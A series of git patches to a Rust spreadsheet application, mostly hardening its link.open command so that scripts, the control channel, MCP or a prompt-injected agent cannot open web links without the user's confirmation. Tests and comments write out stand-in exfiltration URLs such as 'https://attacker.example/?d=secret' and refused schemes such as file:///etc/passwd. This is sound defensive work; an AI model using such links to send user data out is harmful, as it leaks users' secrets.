From 79214fd28737d7bf018663a513f18aaf10641a49 Mon Sep 17 00:00:00 2001 From: Higgs32584 Date: Wed, 21 Oct 2026 20:50:07 -0400 Subject: [PATCH 1/5] link: require confirmation for programmatic link.open (#2181) link.open is reachable by the control channel, CLI, MCP and workbook scripts, so it could open https://attacker/?d= without the user seeing it. By default (LinkPolicy::Confirm) it now refuses web and e-mail addresses with an error and opens no dialog; references still navigate and other schemes stay refused. A host may opt in with LinkPolicy::Allow (Rust API only, no command sets it). The UI's Open Hyperlink prompt no longer runs a command on OK: it calls Session::open_confirmed_link with the address it showed, kept in a private field, so ui.dialog.confirm can't press OK and ui.dialog.set can't swap the address behind the prompt text. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/insert.rs | 13 ++++-- crates/engine/src/lib.rs | 3 ++ crates/engine/src/links.rs | 42 ++++++++++++++++++++ crates/engine/src/tests.rs | 45 +++++++++++++++++++++ crates/ui-egui/src/dialogs.rs | 70 +++++++++++++++++++++++++++------ crates/ui-egui/src/grid.rs | 5 ++- 6 files changed, 161 insertions(+), 17 deletions(-) diff --git a/crates/engine/src/cmd/insert.rs b/crates/engine/src/cmd/insert.rs index 9f044613d..b9243f30b 100644 --- a/crates/engine/src/cmd/insert.rs +++ b/crates/engine/src/cmd/insert.rs @@ -162,7 +162,7 @@ pub fn specs() -> Vec { "Open Hyperlink", [], None, - "{url?: \"https://…\" | \"mailto:…\" | \"Sheet2!A1\", cell?} (default: the cell's link); only http, https and mailto are opened, any other scheme is an error; the UI asks before opening", + "{url?: \"https://…\" | \"mailto:…\" | \"Sheet2!A1\", cell?} (default: the cell's link); a reference selects; a web or e-mail address is an error unless the host allows it: the user opens those by clicking the link and confirming; any scheme but http, https and mailto is always an error", has_doc, open_link ), @@ -1199,9 +1199,11 @@ fn insert_link(s: &mut Session, p: &Json) -> Result { }) } -/// Follows a link: a reference selects it, an `http`/`https`/`mailto` address is handed to the -/// host (`UiRequest::OpenUrl`); anything else is refused ([`crate::links::classify`]). Opens no -/// dialog; the interactive click asks for confirmation first, in the UI. +/// Follows a link: a reference selects it; anything else is refused ([`crate::links::classify`]). +/// An `http`/`https`/`mailto` address is refused too unless the host set +/// [`crate::links::LinkPolicy::Allow`]: every caller of a command may be a script or an agent, so +/// the user opens such links by clicking and confirming, and the UI then calls +/// [`Session::open_confirmed_link`] (#2181). Opens no dialog. fn open_link(s: &mut Session, p: &Json) -> Result { let target = match str_param(p, "url").or_else(|| str_param(p, "target")) { Some(t) => t.to_string(), @@ -1217,6 +1219,9 @@ fn open_link(s: &mut Session, p: &Json) -> Result { match crate::links::classify(&target) { crate::links::LinkKind::Internal(r) => super::edit::go_to(s, &json!({"reference": r.trim_start_matches('#')})), crate::links::LinkKind::External(u) => { + if s.link_policy != crate::links::LinkPolicy::Allow { + return Err(EngineError::Other(crate::links::NEEDS_CONFIRMATION.into())); + } s.ui_requests.push(crate::UiRequest::OpenUrl(u.clone())); Ok(json!({"opened": u})) } diff --git a/crates/engine/src/lib.rs b/crates/engine/src/lib.rs index 258a1cb72..2d0a46a09 100644 --- a/crates/engine/src/lib.rs +++ b/crates/engine/src/lib.rs @@ -256,6 +256,9 @@ pub struct Session { /// Review › Notes › Show All Notes: every note is displayed. An application display setting /// (like Excel's comment indicator option), so it's not saved in the file. pub show_all_notes: bool, + /// Whether `link.open` may open web and e-mail addresses without the user's confirmation + /// (#2181). Host code sets it; no command does. + pub link_policy: links::LinkPolicy, } impl Session { diff --git a/crates/engine/src/links.rs b/crates/engine/src/links.rs index 04d8da677..4c2318f07 100644 --- a/crates/engine/src/links.rs +++ b/crates/engine/src/links.rs @@ -2,8 +2,50 @@ //! somebody sent), so it is hostile input: only `http`, `https` and `mailto` ever leave the //! workbook for the system; `file:`, `smb:`, UNC paths, custom URL handlers, `javascript:` and //! the like are refused. Everything without a scheme stays an in-workbook reference. +//! +//! Opening an allowed address also needs the user's say-so (#2181): `link.open` is reachable by +//! the control channel, the CLI, MCP and workbook scripts, so a prompt-injected agent could open +//! `https://attacker/?d=`. Under the default [`LinkPolicy::Confirm`] the command refuses +//! external addresses; only the host, after showing the address and getting OK from the user, +//! opens one through [`crate::Session::open_confirmed_link`], which no command reaches. use gridcraft_core::RangeRef; +use serde_json::{Value as Json, json}; + +use crate::{EngineError, Result, Session, UiRequest}; + +/// Whether `link.open` may hand an external (`http`/`https`/`mailto`) address to the host without +/// asking. Set by the host in code, never by a command, so a programmatic caller can't widen it. +#[derive(Clone, Copy, Debug, Default, PartialEq, Eq)] +pub enum LinkPolicy { + /// `link.open` refuses external addresses; the user opens them by clicking the link, which + /// asks first ([`Session::open_confirmed_link`]). References still navigate. + #[default] + Confirm, + /// The host trusts every caller of this session (an embedding that vets requests itself): + /// `link.open` opens allowed addresses directly. Disallowed schemes stay refused. + Allow, +} + +/// The error a programmatic `link.open` of a web or e-mail address returns. +pub const NEEDS_CONFIRMATION: &str = "Web and e-mail links open only when the user clicks them and confirms; a command can't open them."; + +impl Session { + /// Opens a link the user has just confirmed in the host's "Open Hyperlink" prompt: an allowed + /// address goes to the host (`UiRequest::OpenUrl`), a reference selects, anything else is + /// refused ([`classify`]). Not a command: only host code that showed the user this exact + /// address may call it. + pub fn open_confirmed_link(&mut self, target: &str) -> Result { + match classify(target) { + LinkKind::Internal(r) => self.execute("edit.goTo", json!({"reference": r.trim_start_matches('#')})), + LinkKind::External(u) => { + self.ui_requests.push(UiRequest::OpenUrl(u.clone())); + Ok(json!({"opened": u})) + } + LinkKind::Refused(why) => Err(EngineError::Other(why)), + } + } +} /// What a link target is. #[derive(Clone, Debug, PartialEq, Eq)] diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index 2ac290654..aff234671 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -3268,12 +3268,57 @@ fn link_open_refuses_every_scheme_but_http_https_and_mailto() { } assert!(s.execute("link.open", json!({"cell": "A1"})).is_err()); assert!(s.take_ui_requests().is_empty()); + // A host's `Allow` policy opens web and e-mail addresses directly, and nothing else. + s.link_policy = crate::links::LinkPolicy::Allow; + for url in ["file:///etc/passwd", "smb://h/s", "\\\\h\\s", "JAVASCRIPT:1"] { + assert!(s.execute("link.open", json!({"url": url})).is_err(), "{url}"); + } + assert!(s.take_ui_requests().is_empty()); s.execute("link.open", json!({"url": "HTTPS://example.org/a"})).unwrap(); assert_eq!(s.take_ui_requests(), vec![crate::UiRequest::OpenUrl("HTTPS://example.org/a".into())]); s.execute("link.open", json!({"url": "B2"})).unwrap(); assert!(s.take_ui_requests().is_empty()); } +/// #2181: `link.open` is reachable by the control channel, CLI, MCP and scripts, so by default it +/// opens no web or e-mail address (an exfiltration channel: `https://attacker/?d=`) +/// and asks for no dialog either; only the host's confirmed path opens one. +#[test] +fn programmatic_link_open_never_opens_an_external_address_without_confirmation() { + let mut s = s(); + assert_eq!(s.link_policy, crate::links::LinkPolicy::Confirm, "confirmation is the default"); + s.execute("cell.set", json!({"cell": "A1", "input": "secret"})).unwrap(); + s.execute("insert.link", json!({"cell": "B1", "target": "https://attacker.example/?d=secret"})).unwrap(); + s.execute("insert.link", json!({"cell": "C1", "target": "mailto:x@attacker.example"})).unwrap(); + s.take_ui_requests(); + for p in [ + json!({"url": "https://attacker.example/?d=secret"}), + json!({"url": "http://attacker.example"}), + json!({"target": "MAILTO:x@attacker.example"}), + json!({"cell": "B1"}), + json!({"cell": "C1"}), + ] { + let e = s.execute("link.open", p.clone()).unwrap_err().to_string(); + assert!(e.contains(crate::links::NEEDS_CONFIRMATION), "{p}: {e}"); + } + assert!(s.take_ui_requests().is_empty(), "no OpenUrl and no dialog for a programmatic caller"); + assert!(s.execute_headless("link.open", json!({"cell": "B1"})).is_err()); + assert!(s.take_ui_requests().is_empty()); + // References still navigate. + s.execute("link.open", json!({"url": "A1"})).unwrap(); + assert!(s.take_ui_requests().is_empty()); + + // The host's confirmed path opens the allowed address, and still refuses every other scheme. + assert_eq!(s.open_confirmed_link(" https://example.org/a ").unwrap(), json!({"opened": "https://example.org/a"})); + assert_eq!(s.take_ui_requests(), vec![crate::UiRequest::OpenUrl("https://example.org/a".into())]); + for url in ["file:///etc/passwd", "\\\\h\\s", "javascript:1", "x-custom://a", "\u{1}https://a.example"] { + assert!(s.open_confirmed_link(url).is_err(), "{url:?}"); + } + assert!(s.take_ui_requests().is_empty()); + s.open_confirmed_link("Sheet1!C3").unwrap(); + assert_eq!(s.doc().unwrap().selection.active, CellRef::new(2, 2)); +} + #[test] fn subtotal_109_recalculates_when_row_height_or_autofit_reveals_rows() { let mut s = s(); diff --git a/crates/ui-egui/src/dialogs.rs b/crates/ui-egui/src/dialogs.rs index fb899c702..f56136e94 100644 --- a/crates/ui-egui/src/dialogs.rs +++ b/crates/ui-egui/src/dialogs.rs @@ -40,6 +40,9 @@ pub struct Dialog { picture_target: Option<(u64, usize)>, /// The dialog this one was opened from (Name Manager › New…): it comes back when this closes. back: Option>, + /// Open Hyperlink: the address the prompt shows, which OK opens. Private, unlike `values`, so + /// `ui.dialog.set` can't swap it behind the text the user reads (#2181). + link: Option, } impl Dialog { @@ -73,6 +76,7 @@ impl Dialog { picture_inbox: None, picture_target: None, back: None, + link: None, } } @@ -91,6 +95,7 @@ impl Dialog { picture_inbox: None, picture_target: None, back: None, + link: None, } } @@ -349,19 +354,18 @@ impl Dialog { json!({"text": existing}), ) } - // Asks before a web or e-mail link leaves the workbook; OK runs `link.open`, which - // refuses anything but http, https and mailto. + // Asks before a web or e-mail link leaves the workbook. OK opens it through + // `Session::open_confirmed_link` (which refuses anything but http, https and mailto), + // not a command: `link.open` refuses web addresses for programmatic callers, and a + // dialog without a command can't be confirmed over the control channel (#2181). "openLink" => { let url = params.get("url").and_then(Json::as_str).unwrap_or_default().to_string(); - Dialog::form( - "openLink", - "Open Hyperlink", - "link.open", - vec![Note(format!( - "This workbook asks to open the address below. Links can lead to harmful sites or start other programs: open it only if you trust the workbook.\n\n{url}" - ))], - json!({"url": url}), - ) + let mut d = Dialog::custom("openLink", "Open Hyperlink", json!({"url": url})); + d.fields = vec![Note(format!( + "This workbook asks to open the address below. Links can lead to harmful sites or start other programs: open it only if you trust the workbook.\n\n{url}" + ))]; + d.link = Some(url); + d } "insertLink" => Dialog::form( "insertLink", @@ -1256,6 +1260,13 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) { app.message = Some((d.title.clone(), "Return to the original worksheet to insert this picture, or cancel and choose another cell.".into())); confirm = false; } + if confirm && d.name == "openLink" { + confirm = false; + open = false; + if let Err(e) = open_confirmed_link(app, &d) { + app.message = Some((d.title.clone(), crate::clean_error(&e))); + } + } if confirm && let Some(cmd) = d.command { let params = build_params(&d); match app.run(cmd, params) { @@ -1365,6 +1376,15 @@ fn paste_special_shortcuts(d: &mut Dialog, ctx: &egui::Context) { }); } +/// The user pressed OK in Open Hyperlink: opens the address the prompt showed (`d.link`), never +/// one a caller edited into its values afterwards. +fn open_confirmed_link(app: &mut SheetApp, d: &Dialog) -> Result<(), String> { + let url = d.link.as_deref().unwrap_or_default(); + let r = app.session.open_confirmed_link(url).map(|_| ()).map_err(|e| e.to_string()); + app.after_engine(); + r +} + fn ok_cancel(ui: &mut egui::Ui, confirm: &mut bool, open: &mut bool) { ui.add_space(8.0); ui.with_layout(egui::Layout::right_to_left(egui::Align::Center), |ui| { @@ -2729,6 +2749,34 @@ mod tests { assert!(gridcraft_engine::cmd::data::check_validation(&doc.wb, 0, at, "4").is_some()); } + /// #2181: a programmatic `link.open` opens nothing; the Open Hyperlink prompt has no command + /// the control channel could confirm, and its OK opens exactly the address it showed. + #[test] + fn open_hyperlink_opens_only_the_address_the_user_confirmed() { + use std::{cell::RefCell, rc::Rc}; + let opened = Rc::new(RefCell::new(Vec::::new())); + let sink = opened.clone(); + let services = crate::Services { open_url: Some(Box::new(move |u: &str| sink.borrow_mut().push(u.to_string()))), ..Default::default() }; + let mut session = gridcraft_engine::Session::default(); + session.new_workbook(); + let mut app = SheetApp::new(session, services); + assert!(app.run("link.open", json!({"url": "https://attacker.example/?d=secret"})).is_err()); + app.after_engine(); + assert!(opened.borrow().is_empty(), "a programmatic link.open opens nothing"); + assert!(app.dialog.is_none(), "and opens no dialog"); + + let mut d = Dialog::open(&mut app, "openLink", json!({"url": "https://example.org/a"})).unwrap(); + assert!(d.command.is_none(), "`ui.dialog.confirm` can't press OK for the user"); + // A value edited behind the prompt's text is ignored: OK opens what the user read. + d.set_value("url", json!("https://attacker.example/?d=secret")); + open_confirmed_link(&mut app, &d).unwrap(); + assert_eq!(*opened.borrow(), vec!["https://example.org/a".to_string()]); + + let bad = Dialog::open(&mut app, "openLink", json!({"url": "file:///etc/passwd"})).unwrap(); + assert!(open_confirmed_link(&mut app, &bad).is_err()); + assert_eq!(opened.borrow().len(), 1); + } + #[test] fn data_validation_without_a_rule_opens_on_a_blank_list() { let mut session = gridcraft_engine::Session::default(); diff --git a/crates/ui-egui/src/grid.rs b/crates/ui-egui/src/grid.rs index 106bc6684..a0ea26ecb 100644 --- a/crates/ui-egui/src/grid.rs +++ b/crates/ui-egui/src/grid.rs @@ -2556,8 +2556,9 @@ fn delete_selected_object(app: &mut SheetApp, sh: &Sheet) -> bool { } /// A click on a hyperlink. References select; web and e-mail addresses ask first (the dialog's -/// OK runs `link.open`); every other kind is refused with a message. The decision is the -/// engine's ([`gridcraft_engine::links::classify`]), the same one `link.open` applies. +/// OK calls `Session::open_confirmed_link`, since `link.open` refuses them for programmatic +/// callers, #2181); every other kind is refused with a message. The decision is the engine's +/// ([`gridcraft_engine::links::classify`]), the same one `link.open` applies. pub fn follow_link(app: &mut SheetApp, target: &str) { use gridcraft_engine::links::{LinkKind, classify}; match classify(target) { From 0b7deaa3d80438cf4c5bf56988498e6fd8ca3b2b Mon Sep 17 00:00:00 2001 From: RedBearAK <64876997+RedBearAK@users.noreply.github.com> Date: Sat, 24 Oct 2026 17:32:33 -0800 Subject: [PATCH 2/5] XLSX: the XML element cap counts only elements kept in the tree `parse_streaming` counts every element it attaches to a parent against MAX_XML_NODES, but the cells of a worksheet are attached to their `row` while the row is open, and the row is then handed to the callback and dropped. So the count grew with every cell of a sheet although the tree never held more than one row, and a workbook with a sheet of about one million ordinary cells (12,274 rows by 103 columns) was reported damaged after 6,310 rows since #2413. Shared strings, streamed by `si`, had the same exposure: a table of about a million plain strings, or fewer rich-text ones. The count now returns to its value at the start of a split element when that element is handed out, so a streamed part of any size passes while a part that keeps a million elements in its tree is still refused. Regression test: 5,001 streamed rows of 100 cells are read whole; the same part kept in a tree is refused. Co-Authored-By: Claude Fable 5.1 --- crates/xlsx/src/xml.rs | 39 +++++++++++++++++++++++++++++++++++---- 1 file changed, 35 insertions(+), 4 deletions(-) diff --git a/crates/xlsx/src/xml.rs b/crates/xlsx/src/xml.rs index e671d0adf..26178a570 100644 --- a/crates/xlsx/src/xml.rs +++ b/crates/xlsx/src/xml.rs @@ -230,8 +230,11 @@ pub fn parse_streaming(xml: &[u8], split: &[&str], cb: &mut dyn FnMut(El) -> Res let mut root: Option = None; let mut buf = Vec::new(); // Elements kept in the tree so far, so a pathological part that passes the byte limits can - // still be refused before the tree itself outgrows memory. + // still be refused before the tree itself outgrows memory. Elements inside a `split` element + // are handed out with it and do not stay in the tree, so a streamed worksheet or shared-string + // table of any size passes: `kept_at_start` remembers the count when each open element began. let mut kept = 0usize; + let mut kept_at_start: Vec = Vec::new(); // Attach a finished element to its parent (or emit it / make it the root). fn finish( stack: &mut [El], @@ -240,11 +243,16 @@ pub fn parse_streaming(xml: &[u8], split: &[&str], cb: &mut dyn FnMut(El) -> Res split: &[&str], cb: &mut dyn FnMut(El) -> Result<(), IoError>, kept: &mut usize, + kept_at_start: Option, ) -> Result<(), IoError> { match stack.last_mut() { Some(parent) => { if split.contains(&el.name.as_str()) { cb(el)?; + // The element and everything parsed inside it have left the tree. + if let Some(k) = kept_at_start { + *kept = k; + } } else { *kept = kept.saturating_add(1); if *kept > MAX_XML_NODES { @@ -269,14 +277,16 @@ pub fn parse_streaming(xml: &[u8], split: &[&str], cb: &mut dyn FnMut(El) -> Res return Err(IoError::Xml("XML nested too deeply".into())); } stack.push(start_el(&e)); + kept_at_start.push(kept); } Event::Empty(e) => { let el = start_el(&e); - finish(&mut stack, &mut root, el, split, cb, &mut kept)?; + finish(&mut stack, &mut root, el, split, cb, &mut kept, None)?; } Event::End(_) => { if let Some(el) = stack.pop() { - finish(&mut stack, &mut root, el, split, cb, &mut kept)?; + let at_start = kept_at_start.pop(); + finish(&mut stack, &mut root, el, split, cb, &mut kept, at_start)?; } } Event::Text(t) => { @@ -315,7 +325,8 @@ pub fn parse_streaming(xml: &[u8], split: &[&str], cb: &mut dyn FnMut(El) -> Res } // Unclosed elements (truncated part): close them so we keep what we have. while let Some(el) = stack.pop() { - finish(&mut stack, &mut root, el, split, cb, &mut kept)?; + let at_start = kept_at_start.pop(); + finish(&mut stack, &mut root, el, split, cb, &mut kept, at_start)?; } root.ok_or_else(|| IoError::Xml("no root element".into())) } @@ -495,6 +506,26 @@ mod tests { } } + #[test] + fn a_streamed_part_may_hold_more_elements_than_the_cap() { + // A worksheet of ordinary size: 5001 rows of 100 cells is 1,000,200 `c` and `v` elements, + // more than the cap, but the rows are streamed out one by one and never pile up in the + // tree, so the part is read whole. Kept in a tree (no split), the same part is refused. + let row = format!("{}", "1".repeat(100)); + let xml = format!("{}", row.repeat(5001)); + let mut rows = 0usize; + let root = parse_streaming(xml.as_bytes(), &["row"], &mut |r| { + assert_eq!(r.children.len(), 100); + rows += 1; + Ok(()) + }) + .unwrap(); + assert_eq!(rows, 5001); + assert!(root.children.is_empty()); + let err = parse(xml.as_bytes()).unwrap_err(); + assert!(err.to_string().contains("elements"), "{err}"); + } + #[test] fn a_part_of_endless_empty_elements_is_refused() { assert!(parse(b"").is_ok()); From fe062f57a67e327d0b656c94bca86dc3c16e5706 Mon Sep 17 00:00:00 2001 From: Higgs32584 Date: Tue, 3 Nov 2026 09:48:20 -0500 Subject: [PATCH 3/5] Refuse synthetic control-channel input as OK in Open Hyperlink (#2181) A ui.key Enter or ui.click on OK reached egui as ordinary input and could confirm the openLink prompt. A pass that carries synthetic input now keeps the prompt open and opens nothing. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/dialogs.rs | 24 ++++++++++++++++++++++++ crates/ui-egui/src/dialogs/show.rs | 23 ++++++++++++++++++++--- 2 files changed, 44 insertions(+), 3 deletions(-) diff --git a/crates/ui-egui/src/dialogs.rs b/crates/ui-egui/src/dialogs.rs index cbf21ddd9..0cbd66de7 100644 --- a/crates/ui-egui/src/dialogs.rs +++ b/crates/ui-egui/src/dialogs.rs @@ -1194,6 +1194,30 @@ mod tests { assert_eq!(opened.borrow().len(), 1); } + /// #2181: an OK that arrives with synthetic control-channel input (`ui.key` Enter, `ui.click` + /// on OK) opens nothing and keeps the prompt open; the same OK from the user opens the link. + #[test] + fn synthetic_input_cannot_confirm_open_hyperlink() { + use show::{SYNTHETIC_LINK_CONFIRM, confirm_open_link}; + use std::{cell::RefCell, rc::Rc}; + let opened = Rc::new(RefCell::new(Vec::::new())); + let sink = opened.clone(); + let services = crate::Services { open_url: Some(Box::new(move |u: &str| sink.borrow_mut().push(u.to_string()))), ..Default::default() }; + let mut session = gridcraft_engine::Session::default(); + session.new_workbook(); + let mut app = SheetApp::new(session, services); + let d = Dialog::open(&mut app, "openLink", json!({"url": "https://example.org/a"})).unwrap(); + + app.synthetic_pending = true; + assert!(!confirm_open_link(&mut app, &d), "the prompt stays open"); + assert!(opened.borrow().is_empty(), "synthetic input opens nothing"); + assert_eq!(app.message.as_ref().map(|m| m.1.as_str()), Some(SYNTHETIC_LINK_CONFIRM)); + + app.synthetic_pending = false; + app.message = None; + assert!(confirm_open_link(&mut app, &d), "the user's OK closes the prompt"); + assert_eq!(*opened.borrow(), vec!["https://example.org/a".to_string()]); + } #[test] fn data_validation_without_a_rule_opens_on_a_blank_list() { diff --git a/crates/ui-egui/src/dialogs/show.rs b/crates/ui-egui/src/dialogs/show.rs index 1aa013442..6dd5519c3 100644 --- a/crates/ui-egui/src/dialogs/show.rs +++ b/crates/ui-egui/src/dialogs/show.rs @@ -409,9 +409,8 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) { } if confirm && d.name == "openLink" { confirm = false; - open = false; - if let Err(e) = open_confirmed_link(app, &d) { - app.message = Some((d.title.clone(), crate::clean_error(&e))); + if confirm_open_link(app, &d) { + open = false; } } if confirm && d.command.is_some() && home_sheet_deleted(app, &mut d) { @@ -492,6 +491,24 @@ pub fn show(app: &mut SheetApp, ctx: &egui::Context) { } } +/// OK in Open Hyperlink; returns whether the prompt closes. A pass that carries control-channel +/// input (`ui.key`, `ui.click`, `ui.drag`) can't say yes for the user (#2181): the link stays +/// unopened and the prompt open, with a message. Real input in that same pass is refused too, so +/// the user just presses OK again. +pub(super) fn confirm_open_link(app: &mut SheetApp, d: &Dialog) -> bool { + if app.synthetic_pending { + app.message = Some((d.title.clone(), SYNTHETIC_LINK_CONFIRM.into())); + return false; + } + if let Err(e) = open_confirmed_link(app, d) { + app.message = Some((d.title.clone(), crate::clean_error(&e))); + } + true +} + +/// Why Open Hyperlink ignored an OK that arrived with synthetic control-channel input. +pub(super) const SYNTHETIC_LINK_CONFIRM: &str = "Synthetic input from the control channel can't open a link: press OK yourself to open it."; + /// The user pressed OK in Open Hyperlink: opens the address the prompt showed (`d.link`), never /// one a caller edited into its values afterwards. pub(super) fn open_confirmed_link(app: &mut SheetApp, d: &Dialog) -> Result<(), String> { From e12b462b907ff967a557b7e418028b536ac250e7 Mon Sep 17 00:00:00 2001 From: Higgs32584 Date: Tue, 3 Nov 2026 10:45:50 -0500 Subject: [PATCH 4/5] Port the link.open confirmation check into the merged insert.rs (#2181) Upstream folded cmd/insert/*.rs back into insert.rs, so the merge left the policy check in a file that is no longer compiled. Restore that file to upstream and apply the check in the live open_link. Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/insert.rs | 11 ++++++++--- crates/engine/src/cmd/insert/links.rs | 11 +++-------- 2 files changed, 11 insertions(+), 11 deletions(-) diff --git a/crates/engine/src/cmd/insert.rs b/crates/engine/src/cmd/insert.rs index e78e80a1b..8e6b826b5 100644 --- a/crates/engine/src/cmd/insert.rs +++ b/crates/engine/src/cmd/insert.rs @@ -1336,9 +1336,11 @@ fn insert_link(s: &mut Session, p: &Json) -> Result { }) } -/// Follows a link: a reference selects it, an `http`/`https`/`mailto` address is handed to the -/// host (`UiRequest::OpenUrl`); anything else is refused ([`crate::links::classify`]). Opens no -/// dialog; the interactive click asks for confirmation first, in the UI. +/// Follows a link: a reference selects it; anything else is refused ([`crate::links::classify`]). +/// An `http`/`https`/`mailto` address is refused too unless the host set +/// [`crate::links::LinkPolicy::Allow`]: every caller of a command may be a script or an agent, so +/// the user opens such links by clicking and confirming, and the UI then calls +/// [`Session::open_confirmed_link`] (#2181). Opens no dialog. fn open_link(s: &mut Session, p: &Json) -> Result { let target = match str_param(p, "url").or_else(|| str_param(p, "target")) { Some(t) => t.to_string(), @@ -1354,6 +1356,9 @@ fn open_link(s: &mut Session, p: &Json) -> Result { match crate::links::classify(&target) { crate::links::LinkKind::Internal(r) => super::edit::go_to(s, &json!({"reference": r.trim_start_matches('#')})), crate::links::LinkKind::External(u) => { + if s.link_policy != crate::links::LinkPolicy::Allow { + return Err(EngineError::Other(crate::links::NEEDS_CONFIRMATION.into())); + } s.ui_requests.push(crate::UiRequest::OpenUrl(u.clone())); Ok(json!({"opened": u})) } diff --git a/crates/engine/src/cmd/insert/links.rs b/crates/engine/src/cmd/insert/links.rs index a20b28678..59a69e6f9 100644 --- a/crates/engine/src/cmd/insert/links.rs +++ b/crates/engine/src/cmd/insert/links.rs @@ -38,11 +38,9 @@ pub(super) fn insert_link(s: &mut Session, p: &Json) -> Result { }) } -/// Follows a link: a reference selects it; anything else is refused ([`crate::links::classify`]). -/// An `http`/`https`/`mailto` address is refused too unless the host set -/// [`crate::links::LinkPolicy::Allow`]: every caller of a command may be a script or an agent, so -/// the user opens such links by clicking and confirming, and the UI then calls -/// [`Session::open_confirmed_link`] (#2181). Opens no dialog. +/// Follows a link: a reference selects it, an `http`/`https`/`mailto` address is handed to the +/// host (`UiRequest::OpenUrl`); anything else is refused ([`crate::links::classify`]). Opens no +/// dialog; the interactive click asks for confirmation first, in the UI. pub(super) fn open_link(s: &mut Session, p: &Json) -> Result { let target = match str_param(p, "url").or_else(|| str_param(p, "target")) { Some(t) => t.to_string(), @@ -58,9 +56,6 @@ pub(super) fn open_link(s: &mut Session, p: &Json) -> Result { match crate::links::classify(&target) { crate::links::LinkKind::Internal(r) => crate::cmd::edit::go_to(s, &json!({"reference": r.trim_start_matches('#')})), crate::links::LinkKind::External(u) => { - if s.link_policy != crate::links::LinkPolicy::Allow { - return Err(EngineError::Other(crate::links::NEEDS_CONFIRMATION.into())); - } s.ui_requests.push(crate::UiRequest::OpenUrl(u.clone())); Ok(json!({"opened": u})) } From 3162ac09f345df939edb0dc74ff9c86649d0a4b8 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Wed, 4 Nov 2026 17:45:51 -0500 Subject: [PATCH 5/5] Pass the Linux signing key to the release workflow (#3380) --- .github/workflows/release.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index e0c09905d..eba6ece89 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -42,3 +42,4 @@ jobs: AZURE_SIGNING_ENDPOINT: ${{ secrets.AZURE_SIGNING_ENDPOINT }} AZURE_SIGNING_ACCOUNT: ${{ secrets.AZURE_SIGNING_ACCOUNT }} AZURE_CERT_PROFILE: ${{ secrets.AZURE_CERT_PROFILE }} + LINUX_SIGNING_KEY: ${{ secrets.LINUX_SIGNING_KEY }}